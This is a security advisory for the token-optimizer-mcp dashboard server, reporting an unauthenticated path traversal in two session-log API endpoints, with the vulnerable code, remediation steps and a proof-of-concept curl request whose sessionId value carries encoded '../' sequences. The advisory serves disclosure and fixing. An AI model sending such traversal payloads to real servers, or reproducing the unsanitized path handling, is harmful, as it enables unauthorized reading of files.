Token Optimizer MCP: Unauthenticated Path Traversal in Dashboard Session Log API Endpoints

NVD Description

# Unauthenticated Path Traversal in Dashboard Session Log API Endpoints | Field | Value | | ---------------- | ----- | | Repository | ooples/token-optimizer-mcp | | Affected version | 5.0.1 (commit 8137147) | | Vulnerability | CWE-22 — Improper Limitation of a Pathname to a Restricted Directory | | Severity | Medium | | CVSS 3.1 | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) | ## Summary The dashboard HTTP server in `token-optimizer-mcp` exposes `/api/session-summary` and `/api/session-events` with no authentication middleware — any network-accessible client can reach them without credentials. Both handlers concatenate the caller-supplied `sessionId` query parameter directly into a filesystem path via `path.join`, and Node.js normalizes `..` segments at resolution time, allowing an unauthenticated attacker to read any `.jsonl` file reachable from the server's filesystem. Successful reproduction confirmed exfiltration of a `.jsonl` file located outside the intended `hooksDataPath` directory with a single unauthenticated HTTP GET request. ## Affected Code `src/server/web-server.ts:73–88` — `/api/session-summary`: unsanitized `sessionId` interpolated into `path.join` then passed to `fs.readFileSync` ```typescript const hooksDataPath = getHooksDataPath(); const jsonlFilePath = path.join( hooksDataPath, `session-log-${sessionId}.jsonl` ); if (!fs.existsSync(jsonlFilePath)) { return res.status(404).json({ success: false, error: `JSONL log not found for session ${sessionId}`, sessionId, }); } // Parse JSONL file const jsonlContent = fs.readFileSync(jsonlFilePath, 'utf-8'); ``` `src/server/web-server.ts:297–311` — `/api/session-events`: identical unsanitized `path.join` + `fs.readFileSync` pattern ```typescript const hooksDataPath = getHooksDataPath(); const jsonlFilePath = path.join( hooksDataPath, `session-log-${sessionId}.jsonl` ); if (!fs.existsSync(jsonlFilePath)) { return res.status(404).json({ success: false, error: `JSONL log not found for session ${sessionId}`, }); } // Parse JSONL file const jsonlContent = fs.readFileSync(jsonlFilePath, 'utf-8'); ``` `req.query.sessionId` flows unsanitized into `path.join(hooksDataPath, \`session-log-${sessionId}.jsonl\`)`, which Node.js resolves by normalizing `..` traversal sequences before the `fs.readFileSync` call. ## Proof of Concept Step 1 — Send traversal payload to `/api/session-events` with no credentials: server returns HTTP 200 with contents of a `.jsonl` file outside `hooksDataPath` — proves unauthenticated out-of-bounds file read. ```bash curl -s "http://127.0.0.1:3100/api/session-events?sessionId=abc%2F..%2F..%2F..%2F..%2Ftraversal-target" ``` ```http GET /api/session-events?sessionId=abc%2F..%2F..%2F..%2F..%2Ftraversal-target HTTP/1.1 Host: 127.0.0.1:3100 User-Agent: python-requests/2.x Accept: */* ``` ```http HTTP/1.1 200 OK X-Powered-By: Express Access-Control-Allow-Origin: * Content-Type: application/json; charset=utf-8 Content-Length: 186 {"success":true,"sessionId":"abc/../../../../traversal-target","total":1,"offset":0,"limit":100,"events":[{"type":"PATH_TRAVERSAL_EVIDENCE","secret":"sensitive-data-outside-hooks-dir"}]} ``` ## Impact An unauthenticated remote attacker can read the contents of any `.jsonl` file accessible to the process running the dashboard server. In a typical deployment this includes all session log files (which contain tool invocations, hook outputs, and token usage data) as well as any other `.jsonl` file reachable via `..` traversal from `hooksDataPath`. The constraint that the resolved path must end in `.jsonl` limits the attack surface to that file extension, but session logs can contain sensitive operational data. The same path traversal is present in both `/api/session-summary` and `/api/session-events`, and neither endpoint requires authentication. ## Remediation 1. **Validate `sessionId` format** before use: reject any value that does not match a strict allowlist such as `/^[a-zA-Z0-9_-]{1,64}$/`. This prevents `/` and `.` characters from entering the path construction entirely. ```typescript const SESSION_ID_RE = /^[a-zA-Z0-9_-]{1,64}$/; if (!SESSION_ID_RE.test(sessionId)) { return res.status(400).json({ success: false, error: 'Invalid sessionId' }); } ``` 2. **Alternatively, apply `path.basename`** to strip all directory components: `path.basename(sessionId)` reduces any traversal sequence to a bare filename before `path.join`. 3. **Add authentication middleware** to all `/api/*` routes so that even if a bypass is found the endpoints are not reachable without a valid session token.

Affected Packages (1)